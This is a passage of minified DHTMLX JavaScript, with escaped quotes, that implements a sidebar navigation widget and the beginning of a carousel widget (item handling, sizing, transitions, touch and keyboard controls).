dhxsidebar_touch\"}}}while(h!=null&&m==null&&l.type!=\"pointerdown\"&&l.type!=\"MSPointerDown\"){if(typeof(h.className)!=\"undefined\"){if(h.className.match(/^dhxsidebar_item/)!=null&&typeof(h._idd)!=\"undefined\"){m=h._idd}else{if(h.className.match(/^dhxsidebar_bubble/)!=null){g=true;m=h.parentNode._idd}}}h=h.parentNode}if(m!=null){if(g==false||(g==true&&e.callEvent(\"onBubbleClick\",[m,e.t[m].conf.bubble])==true)){e._setItemActive(m,true)}}h=null};if(typeof(window.addEventListener)==\"function\"){this.side.addEventListener(this.conf.touch_start,this._doOnSideClick,false);this.side.addEventListener(this.conf.touch_end,this._doOnSideClick,false);this.side.addEventListener(\"mouseup\",this._doOnSideClick,false)}else{this.side.attachEvent(\"onclick\",this._doOnSideClick)}this.side.onmouseover=function(){this.className=this.className.replace(/\\s*dhxsidebar_touch/gi,\"\")};this._doOnSideScroll=function(g){g=g||event;var h=(g.type==\"mousewheel\"?-g.wheelDelta:g.deltaY);e._scrollSide(h/Math.abs(h)*3)};this._scrollSide=function(g){var h=parseInt(this.side.firstChild.style.top||0)-g*this.conf.scroll_mult;if(h+this.side.firstChild.offsetHeight<this.side.clientHeight){h=this.side.clientHeight-this.side.firstChild.offsetHeight}if(h>0){h=0}this.side.firstChild.style.top=h+\"px\"};if(typeof(window.addEventListener)==\"function\"){this.side.addEventListener(\"wheel\",this._doOnSideScroll,false)}else{this.side.attachEvent(\"onmousewheel\",this._doOnSideScroll)}this.t={};this.s={};this._adjustCell=function(q,n){if(this.conf.single_cell!=true&&q==null){return}var g=this.conf.width;var l=this.cont.offsetWidth-g;var o=0;var m=this.cont.offsetHeight;if(this.conf.single_cell==true){if(n==true){this.conf.cell._setSize(g,o,l,m)}}else{if(q!=this.conf.selected){o=-5000;this.t[q].cell.cell.style.visibility=\"hidden\";this.t[q].cell.cell.style.zIndex=0}this.t[q].cell._setSize(g,o,l,m)}};var a=window.dhx4.transDetect();this.conf.transProp=a.transProp;this.conf.transEv=a.transEv;this.conf.transValue=\"all 0.1s\";this._doOnTrEnd=function(h){var m=this._idd;if(e.t[m]==null){return}var g=e.t[m];var l=g.conf.transActvId;if(g.conf.transMode==\"hide\"){if(g.conf.remove==true){e._removeItem(m)}else{g.item.style[g.conf.transProp]=\"\";if(e.conf.single_cell!=true){g.cell.cell.style.visibility=\"hidden\";g.cell.cell.style.top=\"-5000px\"}g.conf.transActv=false}}else{if(g.conf.transMode==\"show\"){g.item.style[g.conf.transProp]=\"\";g.item.style.visibility=\"visible\";g.conf.transMode=null;g.conf.transActv=false}}if(l!=null){e._setItemActive(l)}else{e._checkHeight()}g=null};this._initObj=function(g){this.clearAll();if(g.items!=null){this.addItem(g.items)}};this._xmlToObj=function(s){var h=[];var n=s.getElementsByTagName(\"sidebar\");if(n!=null&&n[0]!=null){var l=n[0].getElementsByTagName(\"item\");for(var o=0;o<l.length;o++){var m={};for(var g=0;g<l[o].attributes.length;g++){m[l[o].attributes[g].nodeName]=l[o].attributes[g].nodeValue}h.push(m)}}return{items:h}};dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"sidebar\",{struct:true});this.unload=function(){this.conf.unloading=true;if(typeof(window.addEventListener)==\"function\"){this.side.removeEventListener(\"wheel\",this._doOnSideScroll,false)}else{this.side.detachEvent(\"onmousewheel\",this._doOnSideScroll)}this.clearAll();this.s=this.t=null;if(typeof(window.addEventListener)==\"function\"){this.arw.removeEventListener(this.conf.touch_start,this._doOnArwClick,false);this.arw.removeEventListener(\"click\",this._doOnArwClick,false)}else{this.arw.detachEvent(\"onclick\",this._doOnArwClick)}this.arw.parentNode.removeChild(this.arw);this.arw=null;if(typeof(window.addEventListener)==\"function\"){this.side.removeEventListener(this.conf.touch_start,this._doOnSideClick,false);this.side.removeEventListener(this.conf.touch_end,this._doOnSideClick,false);this.side.removeEventListener(\"click\",this._doOnSideClick,false)}else{this.side.detachEvent(\"onclick\",this._doOnSideClick)}this.side.onmouseover=null;this.side.parentNode.removeChild(this.side);this.side=null;this._unloadTop();if(this.conf.single_cell==true){this.conf.cell._unload();this.conf.cell=null}window.dhx4._eventable(this,\"clear\");window.dhx4._enableDataLoading(this,null,null,null,\"clear\");for(var g in this){this[g]=null}e=null};if(this.conf.single_cell==true){this.conf.cell=new dhtmlXSideBarCell(\"master\",this);this.cont.appendChild(this.conf.cell.cell);this._cells_native=this.cells;this.cells=function(g){this.conf.cell._idd=g;return this.conf.cell}}this.setSizes();if(c.items!=null){this._initObj(c)}else{if(c.json!=null){this.loadStruct(c.json,c.onload)}else{if(c.xml!=null){this.loadStruct(c.xml,c.onload)}}}return this}dhtmlXSideBar.prototype=new dhtmlXCellTop();dhtmlXSideBar.prototype._addItem=function(c){var g=(typeof(c.id)!=\"undefined\"?c.id:window.dhx4.newId());if(c.type==\"separator\"){var e=document.createElement(\"DIV\");e.className=\"dhxsidebar_sep\";this.side.firstChild.appendChild(e);this.s[g]={sep:e};e=null;return}c.icons_path=this.conf.icons_path;var e=document.createElement(\"DIV\");e.className=\"dhxsidebar_item\";e.innerHTML=window.dhx4.template(this.conf.tpl_str,c);e._idd=g;this.side.firstChild.appendChild(e);e.ondragstart=function(){return false};if(this.conf.single_cell==true){var a=this.conf.cell}else{var a=new dhtmlXSideBarCell(g,this);this.cont.appendChild(a.cell)}this.t[g]={item:e,cell:a,init:c,conf:{selected:false,visible:true,close:close}};if(typeof(c.bubble)!=\"undefined\"){this._setItemBubble(g,c.bubble)}a=e=null;if(window.dhx4.s2b(c.selected)==true){this._setItemActive(g)}else{this._adjustCell(g)}this._checkHeight()};dhtmlXSideBar.prototype.addItem=function(a){if(!(a instanceof Array)){a=[a]}for(var c=0;c<a.length;c++){this._addItem(a[c])}};dhtmlXSideBar.prototype.items=dhtmlXSideBar.prototype.cells=function(a){if(this.conf.single_cell==true){return this.conf.cell}if(this.t[a]!=null){return this.t[a].cell}return null};dhtmlXSideBar.prototype.forEachCell=dhtmlXSideBar.prototype.forEachItem=function(e){if(this.conf.single_cell==true){if(typeof(e)==\"function\"){e.apply(window,[this.conf.cell])}else{if(typeof(e)==\"string\"&&typeof(window[e])==\"function\"){window[e].apply(window,[this.conf.cell])}}return}for(var c in this.t){if(typeof(e)==\"function\"){e.apply(window,[this.t[c].cell])}else{if(typeof(e)==\"string\"&&typeof(window[e])==\"function\"){window[e].apply(window,[this.t[c].cell])}}}};dhtmlXSideBar.prototype.getAllItems=function(){var e=[];for(var c in this.t){e.push(c)}return e};dhtmlXSideBar.prototype.getNumberOfItems=function(){return this.getAllItems().length};dhtmlXSideBar.prototype.clearAll=function(){for(var c in this.t){this._removeItem(c,false,true)}for(var c in this.s){this.removeSep(c)}};dhtmlXSideBar.prototype.setSizes=function(){this._adjustCont();this._adjustSide();this._checkHeight();this._adjustCell(this.conf.selected,true);this.callEvent(\"_onSetSizes\",[])};dhtmlXSideBar.prototype.setSideWidth=function(a){this.conf.width=a;this.setSizes()};dhtmlXSideBar.prototype._adjustSide=function(){if(this.conf.side_ofs==null){this.conf.side_ofs={};this.side.style.width=this.conf.width+\"px\";this.side.style.height=this.cont.offsetHeight+\"px\";this.conf.side_ofs.w=this.side.offsetWidth-parseInt(this.side.style.width);this.conf.side_ofs.h=this.side.offsetHeight-parseInt(this.side.style.height)}this.side.style.width=this.conf.width-this.conf.side_ofs.w+\"px\";this.side.style.height=this.cont.offsetHeight-this.arw.offsetHeight-this.conf.side_ofs.h+\"px\";this.arw.style.width=this.side.style.width;this._scrollSide(0)};dhtmlXSideBar.prototype._checkHeight=function(){var a=(this.arw.className.match(/dhxsidebar_arrows_hidden/)!=null);if(this.conf.side_hfix==null){this.conf.side_hfix=this.side.offsetHeight-this.side.clientHeight}if(this.side.firstChild.offsetHeight>this.cont.clientHeight-this.conf.side_hfix){if(a==true){this.arw.className=\"dhxsidebar_arrows\";this._adjustSide()}}else{if(a==false){this.arw.className=\"dhxsidebar_arrows dhxsidebar_arrows_hidden\";this.side.firstChild.style.top=\"0px\";this._adjustSide()}}};dhtmlXSideBar.prototype.removeSep=function(c){if(this.s[c]==null){return}this.side.firstChild.removeChild(this.s[c].sep);this.s[c].sep=null;this.s[c]=null;try{delete this.s[c]}catch(a){}};dhtmlXSideBar.prototype._setItemActive=function(e,c){if(this.conf.selected==e){return}if(typeof(c)==\"undefined\"){c=false}if(c==true&&this.callEvent(\"onBeforeSelect\",[e,this.conf.selected])!==true){return}var a=null;if(this.conf.selected!=null){a=this.conf.selected;this._setItemInactive(this.conf.selected)}if(this.t[e]!=null){this.conf.selected=e;this.t[e].selected=true;this.t[e].item.className+=\" dhxsidebar_item_selected\";if(this.conf.single_cell!=true){this.t[e].cell.cell.style.visibility=\"visible\";this.t[e].cell.cell.style.top=\"0px\";this.t[e].cell.cell.style.zIndex=1}}else{this.conf.selected=null}this._adjustCell(e);if(c==true){this.callEvent(\"onSelect\",[e,a])}};dhtmlXSideBar.prototype._setItemInactive=function(a){if(this.t[a]==null){return}this.t[a].selected=false;this.t[a].item.className=this.t[a].item.className.replace(/\\s{0,}dhxsidebar_item_selected/gi,\"\");if(this.conf.single_cell!=true){this.t[a].cell.cell.style.visibility=\"hidden\";this.t[a].cell.cell.style.top=\"-5000px\";this.t[a].cell.cell.style.zIndex=0}};dhtmlXSideBar.prototype._isItemActive=function(a){return(this.conf.selected==a)};dhtmlXSideBar.prototype._getNextVisible=function(c,a){return this._getNearVisible(c,a,\"next\")};dhtmlXSideBar.prototype._getPrevVisible=function(c,a){return this._getNearVisible(c,a,\"previous\")};dhtmlXSideBar.prototype._getFirstVisible=function(){return this._getNearVisible(null,false,\"first\")};dhtmlXSideBar.prototype._getNearVisible=function(l,c,h){if(h==\"first\"){var e=this.side.firstChild.firstChild;h=\"next\"}else{if(l==null||this.t[l]==null){return(c?this._getFirstVisible():null)}var e=this.t[l].item[h+\"Sibling\"]}var g=null;while(e!=null&&g==null){var a=e._idd;if(a!=null&&g==null&&this.t[a].conf.visible){g=a}else{e=e[h+\"Sibling\"]}}e=null;return g};dhtmlXSideBar.prototype.goToNextItem=function(a){var c=this._getNextVisible(this.conf.selected,true);if(c!=null){this._setItemActive(c,a)}};dhtmlXSideBar.prototype.goToPrevItem=function(a){var c=this._getPrevVisible(this.conf.selected,true);if(c!=null){this._setItemActive(c,a)}};dhtmlXSideBar.prototype.getActiveItem=function(){return this.conf.selected};dhtmlXSideBar.prototype.setTemplate=function(g,c){this.conf.tpl_name=(g!=null&&this.templates[g]!=null?g:\"details\");this.conf.tpl_str=this.templates[this.conf.tpl_name];if(c!=null){this.conf.icons_path=c}for(var e in this.t){this.t[e].init.icons_path=this.conf.icons_path;this.t[e].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[e].init)}if(this.side!=null){this.side.className=\"dhxsidebar_side dhxsidebar_tpl_\"+this.conf.tpl_name}if(this._scrollSide!=null){this._scrollSide(0);this._checkHeight()}};dhtmlXSideBar.prototype.templates={details:\"<img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'><div class='dhxsidebar_item_text'>#text#</div>\",tiles:\"<img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'><div class='dhxsidebar_item_text'>#text#</div>\",icons:\"<img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'>\",icons_text:\"<div class='dhxsidebar_item_icon'><img class='dhxsidebar_item_icon' src='#icons_path##icon#' border='0'></div><div class='dhxsidebar_item_text'>#text#</div>\",text:\"<div class='dhxsidebar_item_text'>#text#</div>\"};dhtmlXSideBar.prototype.tpl_bubble=\"<div class='dhxsidebar_bubble'>#value#</div>\";window.dhtmlXSideBarCell=function(g,e){dhtmlXCellObject.apply(this,[g,\"_sidebar\"]);this.sidebar=e;this.conf.skin=this.sidebar.conf.skin;this.conf.sidebar_funcs={show:\"_showItem\",hide:\"_hideItem\",isVisible:\"_isItemVisible\",setActive:\"_setItemActive\",isActive:\"_isItemActive\",setText:\"_setItemText\",getText:\"_getItemText\",remove:\"_removeItem\",setBubble:\"_setItemBubble\",getBubble:\"_getItemBubble\",clearBubble:\"_clearItemBubble\"};this._sidebarCall=function(a){return function(){var h=[this._idd];for(var l=0;l<arguments.length;l++){h.push(arguments[l])}return this.sidebar[a].apply(this.sidebar,h)}};for(var c in this.conf.sidebar_funcs){if(typeof(this[c])!=\"function\"){this[c]=this._sidebarCall(this.conf.sidebar_funcs[c])}}this.attachEvent(\"_onCellUnload\",function(){this.sidebar=null;for(var h in this.conf.sidebar_funcs){this[h]=this.conf.sidebar_funcs[h]=null}this.conf.sidebar_funcs=null});this.attachEvent(\"_onContentLoaded\",function(){this.sidebar.callEvent(\"onContentLoaded\",arguments)});this.attachEvent(\"_onBeforeContentAttach\",function(a){if(a==\"tabbar\"||a==\"layout\"||a==\"acc\"){this._hideBorders()}if(a==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders()}if((this.conf.skin==\"dhx_web\"||this.conf.skin==\"dhx_terrace\")&&(a==\"menu\"||a==\"toolbar\"||a==\"ribbon\")){if(this.cell.className.match(/dhx_cell_cont_no_top/gi)==null){this.cell.className+=\" dhx_cell_cont_no_top\"}}})};dhtmlXSideBarCell.prototype=new dhtmlXCellObject();dhtmlXSideBar.prototype._setItemText=function(g,e){if(this.t[g]!=null){for(var c in e){this.t[g].init[c]=e[c]}this.t[g].init.icons_path=this.conf.icons_path;this.t[g].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[g].init);if(this.t[g].conf.bubble!=null){this.t[g].item.innerHTML+=window.dhx4.template(this.tpl_bubble,{value:this.t[g].conf.bubble})}}};dhtmlXSideBar.prototype._getItemText=function(g){var e={};if(this.t[g]!=null){for(var c in this.t[g].init){e[c]=this.t[g].init[c]}}return e};dhtmlXSideBar.prototype._removeItem=function(o,n,l){if(this.t[o]==null){return}if(l!=true&&this.t[o].conf.remove!=true){this.t[o].conf.remove=true;this._hideItem(o,n);return}if(typeof(n)==\"undefined\"){n=true}var g=this._getNextVisible(o);var h=this._getPrevVisible(o);if(this.t[o].conf.transEv==true){this.t[o].item.removeEventListener(this.conf.transEv,this._doOnTrEnd);this.t[o].conf.transEv=false}if(this.conf.single_cell!=true){this.t[o].cell._unload();this.t[o].cell=null}this.t[o].item.parentNode.removeChild(this.t[o].item);this.t[o].item=null;for(var c in this.t[o]){this.t[o][c]=null}this.t[o]=null;try{delete this.t[o]}catch(m){}if(this.conf.selected==o&&n!=false){this.conf.selected=null;var n=(n==true?(g||h||this._getFirstVisible()):n);if(n!=null){this._setItemActive(n)}}else{if(l!=true){this._checkHeight()}}};dhtmlXSideBar.prototype._showItem=function(c,a){if(this.t[c]==null||this.t[c].conf.visible==true||this.t[c].conf.transActv==true){return}if(this.conf.transProp!==false){this.t[c].conf.transActv=true;this.t[c].conf.transMode=\"show\";this.t[c].conf.transProp=this.conf.transProp;this.t[c].conf.transActvId=(a?c:null);if(this.t[c].conf.transEv!=true){this.t[c].item.addEventListener(this.conf.transEv,this._doOnTrEnd);this.t[c].conf.transEv=true}this.t[c].conf.visible=true;this.t[c].item.style[this.conf.transProp]=this.conf.transValue;this.t[c].item.className=\"dhxsidebar_item\"}else{this.t[c].conf.visible=true;this.t[c].item.style.display=\"\";if(a==true){this._setItemActive(c)}else{this._checkHeight()}}};dhtmlXSideBar.prototype._hideItem=function(h,g){if(this.t[h]==null||this.t[h].conf.visible!=true||this.t[h].conf.transActv==true){return}var e=false;if(this.conf.selected==h){this.conf.selected=null;this.t[h].conf.active=false;this.t[h].item.className=\"dhxsidebar_item\";e=true}var c=this._getPrevVisible(h);var a=this._getNextVisible(h);var g=(e&&g!==false?(g==true?null:g)||a||c:null);if(this.conf.transProp!==false){this.t[h].conf.transActv=true;this.t[h].conf.transMode=\"hide\";this.t[h].conf.transProp=this.conf.transProp;this.t[h].conf.transActvId=g;this.t[h].conf.visible=false;if(this.t[h].conf.transEv!=true){this.t[h].item.addEventListener(this.conf.transEv,this._doOnTrEnd);this.t[h].conf.transEv=true}this.t[h].item.style[this.conf.transProp]=this.conf.transValue;this.t[h].item.className=\"dhxsidebar_item dhxsidebar_item_hidden\"}else{this.t[h].item.style.display=\"none\";this.t[h].conf.visible=false;if(this.conf.single_cell!=true){this.t[h].cell.cell.style.visibility=\"hidden\";this.t[h].cell.cell.style.top=\"-5000px\"}if(g!=null){this._setItemActive(g)}this._checkHeight();if(this.t[h].conf.remove==true){this._removeItem(h)}}};dhtmlXSideBar.prototype._isItemVisible=function(a){return(this.t[a].conf.visible==true)};dhtmlXSideBar.prototype._setItemBubble=function(c,a){if(this.t[c]==null){return}this.t[c].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[c].init)+window.dhx4.template(this.tpl_bubble,{value:String(a)});this.t[c].conf.bubble=a};dhtmlXSideBar.prototype._getItemBubble=function(a){if(this.t[a]==null){return null}return(typeof(this.t[a].conf.bubble)==\"undefuned\"?null:this.t[a].conf.bubble)};dhtmlXSideBar.prototype._clearItemBubble=function(a){if(this.t[a]==null){return}this.t[a].item.innerHTML=window.dhx4.template(this.conf.tpl_str,this.t[a].init);this.t[a].conf.bubble=null};dhtmlXCellObject.prototype.attachSidebar=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"sidebar\"]);if(a==null){a={}}var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";if(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof window.dhtmlXWindowsCell)){}else{if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}if(this.conf.skin==\"dhx_web\"){if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){c._ofs={l:8}}if(typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&(this instanceof window.dhtmlXLayoutCell)){c._ofs={t:2}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){c._ofs={t:8}}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:2}}}if(this.conf.skin==\"dhx_terrace\"){if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){c._ofs={l:-1}}if(typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&(this instanceof window.dhtmlXLayoutCell)){c._ofs={t:-1}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){c._ofs={t:-1}}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={t:-1,r:-1,b:-1,l:-1}}}}this._attachObject(c);a.skin=this.conf.skin;a.parent=c;this.dataType=\"sidebar\";this.dataObj=new dhtmlXSideBar(a);a.parent=c=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};function dhtmlXCarousel(g,l,n){if(typeof(g)==\"string\"||(typeof(g)==\"object\"&&typeof(g.tagName)!=\"undefined\")){g={parent:(typeof(g)==\"string\"?document.getElementById(g):g),effect:l,skin:n,delete_conf:true}}else{if(typeof(g)==\"undefined\"||g==null){g={}}}this.conf={skin:(g.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxcarousel\")||\"dhx_skyblue\"),css:\"dhxcarousel\",items_count:0,selected:-1,item_width:Number(g.item_width)||\"auto\",item_height:Number(g.item_height)||\"auto\",ofs_item:Number(g.offset_item)||1,ofs_left:Number(g.offset_left)||0,ofs_top:Number(g.offset_top)||0,buttons:(typeof(g.buttons)==\"undefined\"?true:window.dhx4.s2b(g.buttons)),drops:false,keys:(typeof(g.keys)==\"undefined\"?true:window.dhx4.s2b(g.keys)),key_data:{left:37,right:39},arw:[\"&#9668;\",\"&#9658;\"]};this.conf.autowidth=(this.conf.item_width==\"auto\");this.conf.autoheight=(this.conf.item_height==\"auto\");var e=window.dhx4.transDetect();this.conf.transProp=e.transProp;this.conf.transEv=e.transEv;this.conf.anim_type=(g.effect||\"slide\");if(this.ef[this.conf.anim_type]==true){var h=this[\"_\"+this.conf.anim_type+\"_init\"]();if(h===false){this.conf.anim_type=\"slide\";h=this[\"_\"+this.conf.anim_type+\"_init\"]()}if(typeof(h)==\"object\"){for(var c in h){if(typeof(this.conf[c])==\"undefined\"){this.conf[c]=h[c]}}}}this.conf.anim_f=this[\"_\"+this.conf.anim_type+\"_f\"]();var m=this;window.dhtmlXCellTop.apply(this,[g.parent,g.offsets]);this.area=document.createElement(\"DIV\");this.area.className=\"dhxcarousel_area\";this.cont.appendChild(this.area);if(typeof(window.addEventListener)==\"function\"){this._doOnTouchStart=function(a){if(window.dhx4.dnd._mTouch(a)==true){return}if(m.conf.animating==true){return}if(a.preventDefault){a.preventDefault()}m.area.className+=\" dhxcarousel_area_dnd\";m.conf.touch_conf={t:new Date().getTime(),dx:null,dy:null};if(a.type.match(/^touch/)!=null){m.conf.touch_conf.id=a.touches[0].identifier;m.conf.touch_conf.x=a.touches[0].clientX;m.conf.touch_conf.y=a.touches[0].clientY}else{m.area.style.touchAction=m.area.style.msTouchAction=\"none\";m.conf.touch_conf.x=a.clientX;m.conf.touch_conf.y=a.clientY}window.addEventListener(window.dhx4.dnd.evs.move,m._doOnTouchMove,false);window.addEventListener(window.dhx4.dnd.evs.end,m._doOnTouchEnd,false)};this._doOnTouchMove=function(a){};this._doOnTouchEnd=function(s){if(s.type.match(/^touch/)!=null){var o=0;for(var r=0;r<s.changedTouches.length;r++){if(s.changedTouches[r].identifier==m.conf.touch_conf.id){o=m.conf.touch_conf.x-s.changedTouches[r].clientX}}}else{var o=m.conf.touch_conf.x-s.clientX}window.removeEventListener(window.dhx4.dnd.evs.move,m._doOnTouchMove,false);window.removeEventListener(window.dhx4.dnd.evs.end,m._doOnTouchEnd,false);m.area.className=m.area.className.replace(/\\s*dhxcarousel_area_dnd$/,\"\");if(o==0||new Date().getTime()-m.conf.touch_conf.t>400){return}var a=o/Math.abs(o);m._animateStart(a)};this.area.addEventListener(window.dhx4.dnd.evs.start,this._doOnTouchStart,false)}this.cdata={};this.ind={};this.addCell=function(s,r){this.conf.items_count++;if(this.conf.selected==-1){this.conf.selected=0}this.setSizes();this._checkControls();if(typeof(r)==\"undefined\"||r==null){r=this.conf.items_count-1}else{if(r<0){r=0}else{if(r>this.conf.items_count-1){r=this.conf.items_count-1}}}for(var q in this.cdata){if(this.cdata[q].index>=r){this.cdata[q].index++;this.ind[this.cdata[q].index]=q;this._adjustCell(q)}}if(s==null){s=String(window.dhx4.newId())}while(this.cdata[s]!=null){s=String(window.dhx4.newId())}var o=new dhtmlXCarouselCell(s,this);if(this.area.childNodes[r]!=null){this.area.insertBefore(o.cell,this.area.childNodes[r])}else{this.area.appendChild(o.cell)}this.cdata[s]={index:r,cell:o};this.ind[r]=s;this._adjustCell(s);this._addBar();this._setBarIndex(this.conf.selected);o=null;this[this.conf.anim_f.cell_added](s);return s};this._removeCell=function(u){var r=this.cdata[u].index;this.cdata[u].cell._unload();this.cdata[u].index=this.cdata[u].cell=null;this.cdata[u]=null;delete this.cdata[u];delete this.ind[r];this.conf.items_count--;if(this.conf.unloading==true){return}this.ind={};var o=0;for(var q in this.cdata){if(this.cdata[q].index>r){this.cdata[q].index--}this.ind[this.cdata[q].index]=q}var s=false;if(this.conf.selected>r){this.conf.selected--}else{if(this.conf.selected==r){this.conf.selected=Math.min(this.conf.selected,this.conf.items_count-1);s=true}else{}}this._removeBar(false);this._setBarIndex(this.conf.selected);if(s==true){if(this.conf.selected>=0){this[this.conf.anim_f.update_selected](this.ind[this.conf.selected])}}this.setSizes();this._checkControls()};this.setSizes=function(){this._adjustCont();var u={};this.area.style.height=this.cont.offsetHeight-this.controls.offsetHeight+\"px\";this.conf.width=(this.conf.autowidth?this.cont.offsetWidth-this.conf.ofs_left*2:this.conf.item_width);this.conf.height=(this.conf.autoheight?this.area.offsetHeight-this.conf.ofs_top*2:this.conf.item_height);this.conf.top=Math.max(0,(this.conf.autoheight?this.conf.ofs_top:Math.floor((this.area.offsetHeight-this.conf.height)/2)));this.area.style.width=this[this.conf.anim_f.detect_aw]()*(this.conf.width+this.conf.ofs_item)+this.conf.ofs_item+\"px\";this.area.style.left=Math.round(this.cont.offsetWidth/2-this.conf.width/2-this.conf.ofs_item)+\"px\";for(var q in this.cdata){var r={};for(var o in this.cdata[q].cell.conf.size){r[o]=this.cdata[q].cell.conf.size[o]}if(this.conf.autowidth==true){r.w=this.conf.width;r.x=this[this.conf.anim_f.detect_x](q)}if(this.conf.autoheight==true){r.h=this.conf.height}u[q]=r}this.area.style.left=Math.round(this.cont.offsetWidth/2-this.conf.width/2-this.conf.ofs_item)-(this.conf.width+this.conf.ofs_item)*this.conf.selected+\"px\";this._adjustControls();if(this.conf.autoheight!=true){this.conf.top=Math.max(0,Math.floor(this.area.offsetHeight-this.conf.height)/2);for(var q in u){u[q].y=this.conf.top}}for(var q in u){this.cdata[q].cell._setSize(u[q].x,u[q].y,u[q].w,u[q].h)}this.callEvent(\"_onSetSizes\",[])};this._adjustCell=function(a){this.cdata[a].cell._setSize(this[this.conf.anim_f.detect_x](a),this.conf.top,this.conf.width,this.conf.height)};this._animateStart=function(o,a){if((this.conf.selected<=0&&o<0)||(this.conf.selected>=this.conf.items_count-1&&o>0)){return}if(this.conf.animating==true){return}this.conf.animating=true;this[this.conf.anim_f.prepare](o,a)};this._animateTransEnd=function(a){m[m.conf.anim_f.end](a||event,this)};this._animateEnd=function(a){this.conf.selected=this.conf.selected+a;this._checkControls();this._setBarIndex(this.conf.selected);this.callEvent(\"onSelect\",[this.ind[this.conf.selected]]);this.conf.animating=false};this._initControls();this.setCellSize=function(a,o){this.conf.item_width=(a==null?\"auto\":a);this.conf.item_height=(o==null?\"auto\":o);this.setSizes()};this.setOffset=function(q,o,a){if(q!=null){this.conf.ofs_left=q}if(o!=null){this.conf.ofs_top=o}if(a!=null){this.conf.ofs_item=a}this.setSizes()};this.enableHotKeys=function(a){this.conf.keys=window.dhx4.s2b(a)};this.goFirst=function(){if(this.conf.selected==0){return}this._animateStart(-this.conf.selected)};this.goLast=function(){if(this.conf.selected==this.conf.items_count-1){return}this._animateStart(this.conf.items_count-1-this.conf.selected)};this.goNext=function(){this._animateStart(1)};this.goPrev=function(){this._animateStart(-1)};this.getActiveIndex=function(){return this.conf.selected};this.getActiveId=function(){return this.ind[this.conf.selected]};this.getActiveCell=function(){var a=this.getActiveId();if(a!=null){return this.cdata[a].cell}return null};this.unload=function(){this.conf.unloading=true;if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"keydown\",this._doOnWinKeyDown,false);this.area.removeEventListener(window.dhx4.dnd.evs.start,this._doOnTouchStart,false)}else{document.body.detachEvent(\"onkeydown\",this._doOnWinKeyDown)}for(var o in this.cdata){this._removeCell(o)}this.cdata[o]=null;this.area.parentNode.removeChild(this.area);this.area=null;this._unloadControls();this._unloadTop();window.dhx4._eventable(this,\"clear\");for(var o in this){this[o]=null}m=null};window.dhx4._eventable(this);this._callMainEvent=function(o,a){this.callEvent(o,a)};this.conf.ev_coverclick=this.attachEvent(\"_cellCoverClick\",function(a){var o=a-this.conf.selected;if(Math.abs(o)==1){this._animateStart(o)}});this._doOnWinKeyDown=function(q){q=q||event;if(m.conf.keys==true){if(q.ctrlKey==true&&q.shiftKey!=true&&q.altKey!=true){var o=q.keyCode;var a=m.conf.key_data;if(o==a.left||o==a.right){if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}m._animateStart(o==a.left?-1:1)}}}};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"keydown\",this._doOnWinKeyDown,false)}else{document.body.attachEvent(\"onkeydown\",this._doOnWinKeyDown)}if(g.delete_conf==true){for(var c in g){g[c]=null}g=null}return this}dhtmlXCarousel.prototype=new dhtmlXCellTop();dhtmlXCarousel.prototype.ef={};dhtmlXCarousel.prototype.cells=function(a){return this.cdata[a].cell};dhtmlXCarousel.prototype.forEachCell=function(e){for(var c in this.cdata){if(typeof(e)==\"function\"){e.apply(window,[this.cdata[c].cell])}else{if(typeof(e)==\"string\"&&typeof(window[e])==\"function\"){window[e].apply(window,[this.cdata[c].cell])}}}};dhtmlXCarousel.prototype._initControls=function(){var a=this;this.controls=document.createElement(\"DIV\");this.controls.className=\"dhx_carousel_controls\";this.controls.innerHTML=\"<div class='dhx_carousel_bars'></div><div class='dhx_carousel_btn dhx_carousel_btn_prev'>\"+this.conf.arw[0]+\"</div><div class='dhx_carousel_btn dhx_carousel_btn_next'>\"+this.conf.arw[1]+\"</div>\";this.cont.appendChild(this.controls);this._doOnControlClick=function(l){if(a.conf.clear_click==true){a.conf.clear_click=false;return}l=l||event;if(window.dhx4.dnd.evs.start!=null&&l.type!=\"click\"&&a.conf.clear_click!=true){if(window.dhx4.dnd._mTouch(l)==true){return}a.conf.clear_click=true}var c=l.target||l.srcElement;var h=null;if(c.className!=null){if(c.className.match(/btn_prev/)!=null){h=-1}else{if(c.className.match(/btn_next/)!=null){h=1}else{if(c.className.match(/dhx_carousel_onebar/)!=null&&c.className.match(/dhx_carousel_baractv/)==null){for(var 